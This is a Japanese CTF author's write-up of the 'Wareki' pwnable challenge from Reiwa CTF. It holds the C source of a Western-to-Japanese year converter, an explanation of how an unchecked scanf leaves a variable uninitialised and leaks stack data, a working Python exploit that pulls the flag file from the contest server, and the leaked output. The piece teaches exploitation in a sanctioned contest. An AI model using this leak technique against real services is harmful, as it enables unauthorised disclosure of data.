つれづれなる備忘録

CTF関連の事やその他諸々

令和CTF 作問 (和暦)

新時代,明けましておめでとうございます.
平成の終わりから令和の始まりにかけて,令和CTFが開催されました.
始めはスコアサーバのトラブルで,平成最後で令和最初のCTF になりかけてましたが,何とか平成のうちに始められたようです.

ノリで30分くらいで作った "和暦" についてパッと記しておきます


和暦 (Pwnable 268pt, 9 solves)

西暦を和暦に変換してくれるよ
nc wareki-o-reiwa.seccon.jp 36294

ソースコード

#include <stdio.h>
#include <unistd.h>

void readflag(void);
int christ2emperor(void);

int main(void){
    setbuf(stdout, NULL);
    alarm(30);

    printf("西暦 -> 和暦 変換サービス");
    for(;;) {
        int x = 0;

        printf(
        "\n"
        "1: 和暦変換\n"
        "2: フラグ読み込み\n"
        "0: 終了\n"
        ">> "
        );
        scanf("%d", &x);
        switch(x){
            case 1:
                christ2emperor();
                break;
            case 2:
                readflag();
                break;
            default:
                goto end;
        }
    }

end:
    puts("Bye!");
}

void readflag(void){
    FILE *fp;
    unsigned offset;
    char buf[90] = {};

    if(!(fp = fopen("flag.txt", "r"))){
        perror("fopen");
        return;
    }

    printf("\nオフセット >> ");
    scanf("%d", &offset);

    fseek(fp, offset, SEEK_SET);
    fread(buf, sizeof(buf), 1, fp);
    fclose(fp);

    puts("Done!");
}

int christ2emperor(void){
    unsigned long year;
    char *era[] = {"明治", "大正", "昭和", "平成", "令和"};
    unsigned long first_year[] = {1868, 1912, 1926, 1989, 2019};
    int sel = 0, i;
    char c;

    printf("\n西暦 >> ");
    scanf("%lu", &year);

    printf("変換しますか?(Yes:1, No:Others) >> ");
    scanf("%d", &sel);
    if(sel != 1)
        return 0;

    for(i = sizeof(era)/sizeof(char *)-1; i >= 0;  i--){
        if(year >= first_year[i]){
            printf("変換結果:%s", era[i]);
            printf(year-first_year[i] ? " %lu\n" : " 元年\n", year-first_year[i]+1);
            goto fin;
        }
    }
    printf("明治以前は未実装\n");
    return -1;

fin:
    return 1;
}

解説 および 解法

問題文の通り,西暦を和暦に変換してくれます.
フラグ読み込みの機能では,読み込みはしても表示はしてくれません.

$ ./wareki
西暦 -> 和暦 変換サービス
1: 和暦変換
2: フラグ読み込み
0: 終了
>> 1

西暦 >> 2019
変換しますか?(Yes:1, No:Others) >> 1
変換結果:令和 元年

1: 和暦変換
2: フラグ読み込み
0: 終了
>> 2

オフセット >> 0
Done!

1: 和暦変換
2: フラグ読み込み
0: 終了
>>

和暦変換のところで,西暦を scanf("%lu", &year) で読み込んではいますが,+ などを突っ込むと変数が未初期化のまま処理が進みます.
これを利用して,フラグ読み込みの関数でスタック内に読み込んだフラグを 8 byte ずつリークさせることができます.

Exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
import sys

bin_file = './wareki'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'wareki-o-reiwa.seccon.jp', 'port':36294})
env.select()

#==========

flag = ''

def attack(conn, **kwargs):
    global flag
    pwn = Wareki(conn)

    while True:
        pwn.flag(len(flag))
        x = pwn.convert('+')
        if x is None:
            break
        x = ('0'*15 + hex(int(x.split()[1])+2018)[2:])[-16:]
        flag += x.decode('hex')[::-1]

        sys.stdout.write("\033[1J\033[1;1H%s" % flag)
        sys.stdout.flush()

    print '\n__END__'

class Wareki:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def convert(self, year):
        self.sendlineafter('>> ', '1')
        self.sendlineafter('西暦 >> ', str(year) if type(year) is int else year)
        self.sendlineafter('>> ', '1')
        if self.recv(3) == '明':
            return None
        self.recvuntil('結果:')
        return self.recvuntil('\n', drop=True)

    def flag(self, offset):
        self.sendlineafter('>> ', '2')
        self.sendlineafter('オフセット >> ', str(offset))

#==========

if __name__=='__main__':
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.bruteforce(attack)
    
#==========

実行結果

$ ./solve_wareki.py
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[+] Opening connection to wareki-o-reiwa.seccon.jp on port 36294: Done
\xa8してのお務めについての天皇陛下のおことば(平成28年8月8日)

戦後70年という大きな節目を過ぎ,2年後には,平成30年を迎えます。
私も80を越え,体力の面などから様々な制約を覚えることもあり,ここ数年,天皇としての自らの歩みを振り返るとともに,この先の自分の在り方や務めに
つき,思いを致すようになりました。
本日は,社会の高齢化が進む中,天皇もまた高齢となった場合,どのような在り方が望ましいか,天皇という立場上,現行の皇室制度に具体的に触れること
は控えながら,私が個人として,これまでに考えて来たことを話したいと思います。

即位以来,私は国事行為を行うと共に,日本国憲法下で象徴と位置づけられた天皇の望ましい在り方を,日々模索しつつ過ごして来ました。伝統の継承者と
して,これを守り続ける責任に深く思いを致し,更に日々新たになる日本と世界の中にあって,日本の皇室が,いかに伝統を現代に生かし,いきいきとして
社会に内在し,人々の期待に応えていくかを考えつつ,今日に至っています。

そのような中,何年か前のことになりますが,2度の外科手術を受け,加えて高齢による体力の低下を覚えるようになった頃から,これから先,従来のよう
に重い務めを果たすことが困難になった場合,どのように身を処していくことが,国にとり,国民にとり,また,私のあとを歩む皇族にとり良いことである
かにつき,考えるようになりました。既に80を越え,幸いに健康であるとは申せ,次第に進む身体の衰えを考慮する時,これまでのように,全身全霊をもっ
て象徴の務めを果たしていくことが,難しくなるのではないかと案じています。

私が天皇の位についてから,ほぼ28年,この間私は,我が国における多くの喜びの時,また悲しみの時を,人々と共に過ごして来ました。私はこれまで天皇
の務めとして,何よりもまず国民の安寧と幸せを祈ることを大切に考えて来ましたが,同時に事にあたっては,時として人々の傍らに立ち,その声に耳を傾
け,思いに寄り添うことも大切なことと考えて来ました。天皇が象徴であると共に,国民統合の象徴としての役割を果たすためには,天皇が国民に,天皇と
いう象徴の立場への理解を求めると共に,天皇もまた,自らのありように深く心し,国民に対する理解を深め,常に国民と共にある自覚を自らの内に育てる
必要を感じて来ました。こうした意味において,日本の各地,とりわけ遠隔の地や島々への旅も,私は天皇の象徴的行為として,大切なものと感じて来まし
た。皇太子の時代も含め,これまで私が皇后と共に行って来たほぼ全国に及ぶ旅は,国内のどこにおいても,その地域を愛し,その共同体を地道に支える市
井の人々のあることを私に認識させ,私がこの認識をもって,天皇として大切な,国民を思い,国民のために祈るという務めを,人々への深い信頼と敬愛を
もってなし得たことは,幸せなことでした。

天皇の高齢化に伴う対処の仕方が,国事行為や,その象徴としての行為を限りなく縮小していくことには,無理があろうと思われます。また,天皇が未成年
であったり,重病などによりその機能を果たし得なくなった場合には,天皇の行為を代行する摂政を置くことも考えられます。しかし,この場合も,天皇が
十分にその立場に求められる務めを果たせぬまま,生涯の終わりに至るまで天皇であり続けることに変わりはありません。

天皇が健康を損ない,深刻な状態に立ち至った場合,これまでにも見られたように,社会が停滞し,国民の暮らしにも様々な影響が及ぶことが懸念されま
す。更にこれまでの皇室のしきたりとして,天皇の終焉に当たっては,重い殯の行事が連日ほぼ2ヶ月にわたって続き,その後喪儀に関連する行事が,1年間
続きます。その様々な行事と,新時代に関わる諸行事が同時に進行することから,行事に関わる人々,とりわけ残される家族は,非常に厳しい状況下に置か
れざるを得ません。こうした事態を避けることは出来ないものだろうかとの思いが,胸に去来することもあります。

始めにも述べましたように,憲法の下,天皇は国政に関する権能を有しません。そうした中で,このたび我が国の長い天皇の歴史を改めて振り返りつつ,こ
れからも皇室がどのような時にも国民と共にあり,相たずさえてこの国の未来を築いていけるよう,そして象徴天皇の務めが常に途切れることなく,安定的
に続いていくことをひとえに念じ,ここに私の気持ちをお話しいたしました。

国民の理解を得られることを,切に願っています。

http://www.kunaicho.go.jp/page/okotoba/detail/12#41

=====

退位礼正殿の儀の天皇陛下のおことば(平成31年4月30日)

今日をもち,天皇としての務めを終えることになりました。
ただ今,国民を代表して,安倍内閣総理大臣の述べられた言葉に,深く謝意を表します。
即位から30年,これまでの天皇としての務めを,国民への深い信頼と敬愛をもって行い得たことは,幸せなことでした。象徴としての私を受け入れ,支えて
くれた国民に,心から感謝します。
明日から始まる新しい令和の時代が,平和で実り多くあることを,皇后と共に心から願い,ここに我が国と世界の人々の安寧と幸せを祈ります。

http://www.kunaicho.go.jp/page/okotoba/detail/46#155

=====

FLAG : SECCON{WAREKI_g035_0n_f0r3v3r}
__END__
[*] Closed connection to wareki-o-reiwa.seccon.jp port 36294

全部出てくるのに3分半くらいかかります(笑)